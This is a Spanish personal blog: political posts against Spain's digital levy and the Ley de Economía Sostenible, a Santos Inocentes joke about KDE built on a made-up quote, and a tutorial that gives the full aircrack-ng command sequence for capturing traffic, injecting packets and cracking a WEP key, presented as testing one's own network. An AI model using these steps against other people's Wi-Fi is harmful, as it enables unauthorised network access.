Pasando a la acción contra las entidades de gestión.

     Últimamente, en España, asistimos impávidos a la comedia que representan las entidades de gestión y el gobierno de turno. Primero con las sucesivas imposiciones de cánones que a muchos nos parecen injustos. Luego atacaron a las webs de enlaces, denunciándolas ante los tribunales, acciones todas ellas inútiles puesto que en todos los casos los jueces no vieron delito alguno en la actividad de dichas webs. Por último contraatacaron con una disposición en la nueva ley de economía sostenible, disposición digna de un gobierno dictatorial, que coló ahí la coalición de creadores. Buena estrategia de un gobierno democrático, saltarse a los jueces cuando la opinión de estos no les gusta.

     A todos estos disparates a favor de un colectivo muy específico, que además van en contra de los derechos e intereses del resto de la ciudadanía, les siguieron campañas en internet como Todos Contra El Canon e Internet No Será Otra Tele.

     Pero al parecer, todas estas campañas han hecho honor al refrán "Perro ladrador, poco mordedor". La única esperanza de frenar el canon digital será que lo pare el tribunal de justicia europeo. Parece que, cuando en el gobierno hay caraduras que no quieren escuchar a los ciudadanos y si complacer a sus amiguetes del dedo en la ceja, de poco sirven los manifiestos contra las leyes injustas o utilizados como declaración de intenciones.

     Con esto no quiero desalentar todas esta maravillosas iniciativas, fruto de la colaboración en red y de las cuales opino que son totalmente necesarias y útiles para la coordinación de acciones que persigan el cese de estas formas de abuso. Con esto lo que quiero decir es que no basta con quedarse ahí. Hay que actuar...

     Y ahora toca actuar, y lo haremos de la única forma que al parecer estos sinvergüenzas entienden: lo haremos en los juzgados europeos.

     Según la CNC, el actual modelo de gestión, apoyado por la ley de la propiedad intelectual, es un modelo "monopolístico, opaco y poco eficiente en su funcionamiento". A raíz de este informe, los abogados David Bravo y Javier de la Cueva, han redactado una denuncia al estado español ante la comisión europea. Esta denuncia la puede imprimir cada uno de nosotros y enviarla a la comisión europea. Además, esta denuncia es gratuita (lo que nos cueste el sobre y el sello) y no cabe condena en costas (es decir, si se resolviese la denuncia a favor del estado español, no tendríamos que pagar las costas del juicio). Con esta denuncia se pretende conseguir que Europa obligue a cambiar la ley de Propiedad intelectual, abriendo dichas gestiones con todo lo que ello conlleva.

     Por lo tanto, es hora de que todos los que hemos alzado la voz en contra de los abusos sufridos por parte de estos impresentables pasemos a ejercer nuestros derechos, y que mejor forma de hacerlo que ejerciéndolos con esta denuncia. Yo por mi parte, ahí os dejo, que tengo que bajar al estanco a preguntar cuantos sellos me hacen falta para enviar una carta a dicha comisión.

A partir de ahora, red y libertad

Consideramos imprescindible la retirada de la disposición final primera de la Ley de Economía Sostenible por los siguientes motivos:

1. Viola los derechos constitucionales en los que se ha de basar un estado democrático en especial la presunción de inocencia, libertad de expresión, privacidad, inviolabilidad domiciliaria, tutela judicial efectiva, libertad de mercado, protección de consumidoras y consumidores, entre otros.
2. Genera para la Internet un estado de excepción en el cual la ciudadanía será tratada mediante procedimientos administrativos sumarísimos reservados por la Audiencia Nacional a narcotraficantes y terroristas.
3. Establece un procedimiento punitivo “a la carta” para casos en los que los tribunales ya han manifestado que no constituían delito, implicando incluso la necesidad de modificar al menos 4 leyes, una de ellas orgánica. Esto conlleva un cambio radical en el sistema jurídico y una fuente de inseguridad para el sector de las TIC (Tecnología de la Información y la Comunicación). Recordamos, en este sentido, que el intercambio de conocimiento y cultura en la red es un motor económico importante para salir de la crisis como se ha demostradoampliamente.
4. Los mecanismos preventivos urgentes de los que dispone la ley y la judicatura son para proteger a toda ciudadanía frente a riesgos tan graves como los que afectan a la salud pública. El gobierno pretende utilizar estos mismos mecanismos de protección global para beneficiar intereses particulares frente a la ciudadanía.
   Además la normativa introducirá el concepto de “lucro indirecto”, es decir: a mí me pueden cerrar el blog porque “promociono” a uno que “promociona” a otro que vincula a un tercero que hace negocios presuntamente ilícitos
5. Recordamos que la propiedad intelectual no es un derecho fundamental contrariamente a las declaraciones del Ministro de Justicia, Francisco Caamaño. Lo que es un derecho fundamental es el derecho a la producción literaria y artística.
6. De acuerdo con las declaraciones de la Ministra de Cultura, esta disposición se utilizará exclusivamente para cerrar 200 webs que presuntamente están atentando contra los derechos de autor. Entendemos que si éste es el objetivo de la disposición, no es necesaria, ya que con la legislación actual existen procedimientos que permiten actuar contra webs, incluso con medidas cautelares, cuando presuntamente se esté incumpliendo la legalidad. Por lo que no queda sino recelar de las verdaderas intenciones que la motivan ya que lo único que añade a la legislación actual es el hecho de dejar la ciudadanía en una situación de grave indefensión jurídica en el entorno digital.
7. Finalmente consideramos que la propuesta del gobierno no sólo es un despilfarro de recursos sino que será absolutamente ineficaz en sus presuntos propósitos y deja patente la absoluta incapacidad por parte del ejecutivo de entender los tiempos y motores de la Era Digital.

La disposición es una concesión más a la vieja industria del entretenimiento en detrimento de los derechos fundamentales de la ciudadanía en la era digital.

La ciudadanía no puede permitir de ninguna manera que sigan los intentos de vulnerar derechos fundamentales de las personas, sin la debida tutela judicial efectiva, para proteger derechos de menor rango como la propiedad intelectual. Dicha circunstancia ya fue aclarada con el dictado de inconstitucionalidad de la ley Corcuera (o “ley de la patada en la puerta”). El Manifiesto en defensa de los derechos fundamentales en Internet, respaldado por más de 200 000 personas, ya avanzó la reacción y demandas de la ciudadanía antes la perspectiva inaceptable del gobierno.

Para impulsar un definitivo cambio de rumbo y coordinar una respuesta conjunta, el 9 de enero se ha constituido la “Red SOStenible” una plataforma representativa de todos los sectores sociedad civil afectados. El objetivo es iniciar una ofensiva para garantizar una regulación del entorno digital que permita expresar todo el potencial de la Red y de la creación cultural respetando las libertades fundamentales.

En este sentido, reconocemos como referencia para el desarrollo de la era digital, la Carta para la innovación, la creatividad y el acceso al conocimiento, un documento de síntesis elaborado por más de 100 expertos de 20 países que recoge los principios legales fundamentales que deben inspirar este nuevo horizonte.

En particular, consideramos que en estos momentos es especialmente urgentes la implementación por parte de gobiernos e instituciones competentes, de los siguientes aspectos recogidos en la Carta:

1. Los artistas como todos los trabajadores tienen que poder vivir de su trabajo (referencia punto 2 “Demandas legales“, párrafo B. “Estímulo de la creatividad y la innovación”, de la Carta);
2. La sociedad necesita para su desarrollo de una red abierta y libre (referencia punto 2 “Demandas legales“, párrafo D, “Acceso a las infraestructuras tecnológicas”, de la Carta);
3. El derecho a cita y el derecho a compartir tienen que ser potenciado y no limitado como fundamento de toda posibilidad de información y constitutivo de todo conocimiento (referencia punto 2 “Demandas legales“, párrafo A, “Derechos en un contexto digital”, de la Carta);
4. La ciudadanía debe poder disfrutar libremente de los derechos exclusivos de los bienes públicos que se pagan con su dinero, con el dinero publico (referencia punto 2 “Demandas legales“, párrafo C, “Conocimiento común y dominio público”, de la Carta);
5. Consideramos necesaria una reforma en profundidad del sistema de las entidades de gestión y la abolición del canon digital (referencia punto 2 “Demandas legales“, párrafo B, “Estímulo de la creatividad y la innovación”, de la Carta).

Por todo ello hoy se inicia la campaña INTERNET NO SERA OTRA TELE y se llevarán a cabo diversas acciones ciudadanas durante todo el periodo de la presidencia española de la UE.

Consideramos particularmente importantes en el calendario de la presidencia de turno española el II Congreso de Economía de la Cultura (29 y 30 de marzo en Barcelona), Reunión Informal de ministros de Cultura (30 y 31 de marzo en Barcelona) y la reunión de ministros de Telecomunicaciones (18 a 20 de abril en Granada).

La Red tiene previsto reunirse con representantes nacionales e internacionales de partidos políticos, representantes de la cultura y delegaciones diplomáticas.

Firmado
Red SOStenible

La Red SOStenible somos todos. Si quieres adherirte a este texto, cópialo, blogguéalo, difúndelo.

KDE recurre al mercado eléctrico tradicional para subvencionar su desarrollo

Hoy, día 28 de Diciembre, me he enterado en primera persona de un nuevo varapalo para el software libre.

El caso es que esta tarde, a eso de las 18:00 horas, me he acercado al multiprecio de mi calle para comprar unos cuantos rollos de precinto. Ya que estaba dentro del establecimiento, he decidido curiosear un poco, pues siempre me han resultado entretenidos estos establecimientos por la cantidad de cosas realmente curiosas que venden.

Las alarmas han saltado cuando he llegado al pasillo de la electricidad: La gran mayoría de los aparatos de electricidad eran de una marca sumamente conocida para mí, pero no en ese terreno. La marca, como ya se imaginará el astuto lector, no era otra sino KDE. Increíblemente, esta marca ha empezado a fabricar tanto bombillas tradicionales y de bajo consumo como enchufes e interruptores.

Como se que esta noticia es impactante y mucha gente no se la va a creer, he comprado una regleta para fotografiarla, ya que en ese momento no llevaba ninguna cámara encima y el establecimiento estaba apunto de cerrar. Aquí esta la prueba para los escépticos:




Ante mi asombro e incredulidad, lo primero que he hecho a sido buscar algo sobre la noticia en el sitio oficial de KDE, y he encontrado las siguientes declaraciones de Matthias Phajjhax, el alemán fundador y gran programador de KDE. El enlace lo dejo al final del post:

Durante estos últimos años, en KDE nos hemos dado cuenta que una empresa del tamaño de la nuestra no puede ser financiada únicamente mediante donaciones y buenas intenciones [...]. Es por eso que hemos decidido dar un paso hacia adelante en este espinoso tema, y nos hemos lanzado al mercado tradicional, concretamente en el de los componentes eléctricos. A partir de ahora, cada vez que alguien compre una de nuestras bombillas, estará iluminando al software libre.

¿Será este el fin del software libre tal y como lo conocemos?


*Actualización a las 07:00 del 28 de Diciembre de 2009

Me acabo de enterar de que KDE ha firmado un contrato con Microsoft mediante el cual será el único proveedor de leds para todos los portátiles que usen Windows 7. No, si al final veremos a los de Redmond financiar al software libre, aunque esta forma de financiación haya sido calificada por GNU como de “ridícula, totalmente fuera de la filosofía del software libre y digna de la mente de un imbecil”.


Referencias al blog de KDE

Feliz día de los santos inocentes (un poco más y publico esta entrada el 29, XD)

Gobierno de cretinos.

Este es un manifiesto que me he encontrado en bastantes sitios. Es una respuesta al anteproyecto de ley de economía sostenible, en el cual se incluye, de tapadillo, una vía legal para el corte del acceso a internet a usuarios sin autorización previa de un juez. Y no solo eso, sino que pueden obligar a los servidores a quitar el contenido que quieran de la red. Vamos, que a partir de ahora será el rey del pollo frito, Teddy Bautista y compañía quienes decidan, de manera totalmente arbitraria, quien puede acceder a internet, quien no y con qué propósito. Así es el gobierno de Zapatero: dialogante y protector de los derechos civiles. Cuidado con lo que descargas, subes o escribes en la red, ese debe de ser su lema. Porque parece ser que lo que no es del agrado o de interés para la $GA€, no es bueno para el pueblo. No olvidemos que ellos son quienes gobiernan, y así es el gobierno de la $GA€.

Ante la inclusión en el Anteproyecto de Ley de Economía sostenible de modificaciones legislativas que afectan al libre ejercicio de las libertades de expresión, información y el derecho de acceso a la cultura a través de Internet, los periodistas, bloggers, usuarios, profesionales y creadores de internet manifestamos nuestra firme oposición al proyecto, y declaramos que...

1.- Los derechos de autor no pueden situarse por encima de los derechos fundamentales de los ciudadanos, como el derecho a la privacidad, a la seguridad, a la presunción de inocencia, a la tutela judicial efectiva y a la libertad de expresión.
2.- La suspensión de derechos fundamentales es y debe seguir siendo competencia exclusiva del poder judicial. Ni un cierre sin sentencia. Este anteproyecto, en contra de lo establecido en el artículo 20.5 de la Constitución, pone en manos de un órgano no judicial -un organismo dependiente del ministerio de Cultura-, la potestad de impedir a los ciudadanos españoles el acceso a cualquier página web.
3.- La nueva legislación creará inseguridad jurídica en todo el sector tecnológico español, perjudicando uno de los pocos campos de desarrollo y futuro de nuestra economía, entorpeciendo la creación de empresas, introduciendo trabas a la libre competencia y ralentizando su proyección internacional.
4.- La nueva legislación propuesta amenaza a los nuevos creadores y entorpece la creación cultural. Con Internet y los sucesivos avances tecnológicos se ha democratizado extraordinariamente la creación y emisión de contenidos de todo tipo, que ya no provienen prevalentemente de las industrias culturales tradicionales, sino de multitud de fuentes diferentes.
5.- Los autores, como todos los trabajadores, tienen derecho a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y actividades asociadas a sus creaciones. Intentar sostener con cambios legislativos a una industria obsoleta que no sabe adaptarse a este nuevo entorno no es ni justo ni realista. Si su modelo de negocio se basaba en el control de las copias de las obras y en Internet no es posible sin vulnerar derechos fundamentales, deberían buscar otro modelo.
6.- Consideramos que las industrias culturales necesitan para sobrevivir alternativas modernas, eficaces, creíbles y asequibles y que se adecuen a los nuevos usos sociales, en lugar de limitaciones tan desproporcionadas como ineficaces para el fin que dicen perseguir.
7.- Internet debe funcionar de forma libre y sin interferencias políticas auspiciadas por sectores que pretenden perpetuar obsoletos modelos de negocio e imposibilitar que el saber humano siga siendo libre.
8.- Exigimos que el Gobierno garantice por ley la neutralidad de la Red en España, ante cualquier presión que pueda producirse, como marco para el desarrollo de una economía sostenible y realista de cara al futuro.
9.- Proponemos una verdadera reforma del derecho de propiedad intelectual orientada a su fin: devolver a la sociedad el conocimiento, promover el dominio público y limitar los abusos de las entidades gestoras.
10.- En democracia las leyes y sus modificaciones deben aprobarse tras el oportuno debate público y habiendo consultado previamente a todas las partes implicadas. No es de recibo que se realicen cambios legislativos que afectan a derechos fundamentales en una ley no orgánica y que versa sobre otra materia.

COMO: Atacando nuestra clave WEP. Un estudio de su fortaleza

En el post anterior os explicaba como conseguíamos conectarnos a internet en mi piso de estudiantes. El caso es que como disponemos de un router antiguo, no hemos tenido otro remedio que cifrar nuestra comunicación con nuestro router con una pobre clave WEP. A raíz de esta desafortunada solución, se me ocurrió comprobar la fortaleza de nuestra clave. En este manual encontrareis una forma de comprobar como de fuerte es vuestra protección contra cualquiera que quiera averiguar vuestra clave de cifrado.

Al ser mi primer "como" pido disculpas de antemano por lo feamente hecho que estará. Os invito a hacer todas las observaciones y críticas que queráis en los comentarios, así podre solucionar los posibles errores y aprender como hacer manuales.

→ ¿Que necesito?

• 
  
  Un ordenador con una tarjeta wifi o un usb wifi.
  
  
  
• 
  
  Una distribución línux con la suite aircrack-ng y el programa wlandecrypter instalados.
  
  
  

→ No cumplo los requisitos, ¿como lo hago?

Si no eres usuario de linux (muy mal por tu parte, por cierto), no hay ningún problema. Tan solo tienes que buscar un manual que te diga como instalar wifislax o wifiway en un usb y arrancar el sistema operativo en cuestión desde un cd o usb.

Si eres usuario de linux, seguro que puedes instalar aircrack-ng desde los repositorios. Un ejemplo: En ubuntu, abrimos un terminal y escribimos:

$ sudo aptitude install aircrack-ng

Para descargar e instalar wlandecrypter escribimos lo siguiente en una terminal:

$ wget http://www.fileden.com/files/2008/10/11/2138272/wlandecrypter-0.6.tar.gz

Nos fijamos en el archivo que guarda, que será algo así como wlandecrypter-(nº de versión)y escribimos:

$ tar -xzvf wlandecrypter-(nºversión)

$ cd ./wlandecrypter-(nºversión)

$ make

$ sudo mv ./wlandecripter /usr/bin

Una vez hecho esto, ya tenemos todos los requisitos necesarios.

→ Ya cumplo los requisitos, ¿y ahora que?

Muy bien, ya tenemos todo lo que nos hace falta, ahora ha llegado el momento de la verdad. Resulta que no basta con tener los requisitos antes mencionados, además nuestra tarjeta o usb wifi tiene que ser tal que acepte el modo monitor. No os voy a explicar de que se trata este modo, solo como activarlo.

Lo primero que necesitamos para activar dicho modo, es saber con que nombre reconoce linux nuestro dispositivo wifi, para ello, tecleamos en un terminal:

$ iwconfig

En algunas distribuciones de linux este comando solo se puede ejecutar poniendo 'sudo' delante. Nos tenemos que fijar en el nombre del dispositivo que este activo (aparece un montón de letras al lado del nombre). Dicho dispositivo se llamará algo así como: wlan0; ath0, wifi0... En mi caso es wlan0, por lo que de aquí en adelante utilizaré dicho nombre. Solo tendrás que cambiarlo por el tuyo en las instrucciones que siguen.

Una vez sabemos el nombre de nuestro dispositivo, ponemos:

$sudo airmon-ng stop wlan0

$sudo airmon-ng start wlan0

Despues de esto, y si todo a ido bien, saldrán unas pocas lineas. Nos fijamos en una que pone algo así como: “monitor mode enabled on mon0”. Este es el nombre del dispositivo de nuestra wifi en modo monitor, en mi caso 'mon0'. Fíjate en el nombre de tu dispositivo y cada vez que veas mon0 cambialo por el tuyo. Si sale un error y no puedes activar el modo monitor, no sigas leyendo, pues estarás perdiendo el tiempo.

Una vez activado el monitor, hemos de averiguar el canal en el que esta la red que queremos atacar. Esto se hace tecleando en la terminal:

$ sudo airodump-ng mon0

Con este comando, aparece una lista con todas las redes wifi que tenemos a nuestro alcance. Nos fijamos en el nº que hay en la columna CH. Ese es el canal en el que está nuestra wifi. Una vez lo sabemos, pulsamos control+c para parar la orden anterior y escribimos:

$ sudo airodump-ng -w captura -c (canal antes elegido) mon0

A partir de este momento estamos 'esnifando' todos los paquetes que se emiten en el canal. Hemos de fijarnos si el numerito de la columna #Data que está en la fila de nuestra wifi aumenta. Si no aumenta o aumenta muy lentamente, hemos de inyectarle tráfico. Para esto, abrimos otra terminal y escribimos:

$ sudo aireplay-ng -1 0 -e (Nombre de la wifi seleccionada) -a (mac de la wlan seleccionada) -h (mi mac wifi) mon0

$ sudo aireplay-ng -3 -b (mac de la wifi seleccionada) -h (mi mac wifi) mon0

La mac de la wifi seleccionada es el número del estilo 00:1D:7E:AF:E4:XD que nos salia en la fila de nuestra wifi al ejecutar el comando airodump-ng. Nuestra mac la podemos adivinar ejecutando en una terminal:

$ifconfig (puede que haya que poner 'sudo' delante)

Buscamos entre todo lo que sale el apartado mon0, y nos quedamos con los 12 primeros número que hay a continuación de 'direcciónHW'. Hay que tener en cuenta que aunque aparezcan separados por guiones, hay que ponerlos separados por dos puntos “ : “.

A estas alturas, y si los comandos anteriores no nos han soltado algún error, ya deberíamos estar inyectando paquetes. Al cabo de unos minutos debemos notar que en la primera terminal que abrimos, la anteriormente mencionada columna #Data va aumentando. Este el el número de paquetes que hemos capturado. Depende de la fortaleza de la clave y el tipo de encriptación necesitaremos mas o menos paquetes de este tipo.

Si es una red del estilo WLAN_XX, donde xx puede ser cualquier combinación de numeros o letras, hacemos lo siguiente. En otra terminal, escribimos:

$ wlandecrypter (mac de la wifi seleccionada) WLAN_(n�mero o letra de la wifi seleccionada) diccionario

Con esto acabamos de crear un diccionario para este tipo de redes. Tanto como si tenemos diccionario como si no, ya solo nos queda atacar la red. En una terminal libre ponemos:

$ sudo aircrack-ng -b (mac de la wifi seleccionada) -w diccionario captura-01.cap

La parte “ -w diccionario” solo hemos de ponerla si disponemos de diccionario. Ahora, el programa empezará a probar claves hasta que pase una de las dos siguientes cosas:

1. 
   
   Que no pueda descifrar la clave: En este caso, el mismo programa nos dirá que volvamos a intentarlo cuanto tengamos un número mayor de paquetes. No hay problema, esperamos a ello y volvemos a introducir el comando anterior en la terminal.
   
   
   
2. 
   
   Que descifre la clave: En este caso el programa anunciará que la ha encontrado y te dirá cual es.
   
   
   

La fortaleza de nuestra clave la podemos estimar por la cantidad de paquetes que son necesarios para descifrar nuestra clave.

Espero que este manual os halla servido para probar que tal fuerte es vuestra contraseña, y recordad que esto no debe ser utilizado para atacar redes que no sean vuestras, pues según el pais en el que residáis, puede que sea delito. El autor de este manual no se hace cargo de un uso fraudulento o malintencionado de todo lo aquí expuesto. Como dicen en el pueblo del autor, cada palo que aguante su vela. Si tenéis alguna duda, dejad un comentario y si puedo os la resolveré.

Bienvenidos al blog

Hace tiempo que cree este blog, pero hasta el día de hoy no sabia sobre qué tema escribir la primera entrada. Este dilema acabó ayer cuando montábamos el servidor que nos provee de internet a mi y a mis compañeros de piso.
Como muchos estudiantes, no disponemos de medios para contratar una conexión a internet con una operadora, por lo que hay que ingeniárselas para conseguir acceso a la red. Dicho acceso lo hemos hallado en el patio de luces, a través de una señal wi-fi que llega algo atenuada. Utilizamos un viejo pentium III con una antena de 9 decibelios para captar la señal, la cual se repite por todo el piso a través de un router inalámbrico. En un primer instante, el servidor quedó tal que así:

El caso es que aún con estas, no obteníamos una señal demasiado buena, pues la antena no sobresalía por la ventana y esto hacia imposible su orientación óptima. Estuvimos pensando como solucionar este inconveniente, y tras darle un par de vueltas y hacer unas cuantas preguntas técnicas a las personas adecuadas (a las que no le hicimos ni caso), encontramos la solución:

Después de esta jugada la señal llega mejor que nunca. Aunque, quizás, lo mejor fue la posición temporal que tomo el router durante el todo el día de ayer para repartir la señal:

El caso es que el router del que disponemos  es de los primeros routers inalámbricos que vieron la luz, por lo que emite una señal bastante pésima, y para mejorarla hay que ponerlo en una posición elevada.
A decir verdad, esta no fue la posición definitiva que tuvo el router para su etapa de pruebas, pero se me olvidó fotografiarlo, soy así de feo. Y para el que esté interesado en saberlo: Si, un router puede mantener el equilibrio si se pone en una percha.
Si hay alguien interesado en saber como hicimos las conexiones para que el servidor-repetidor funcionara, que deje un comentario y quizás salga algún tutorial de como hacer un puente con un ordenador viejo y un router.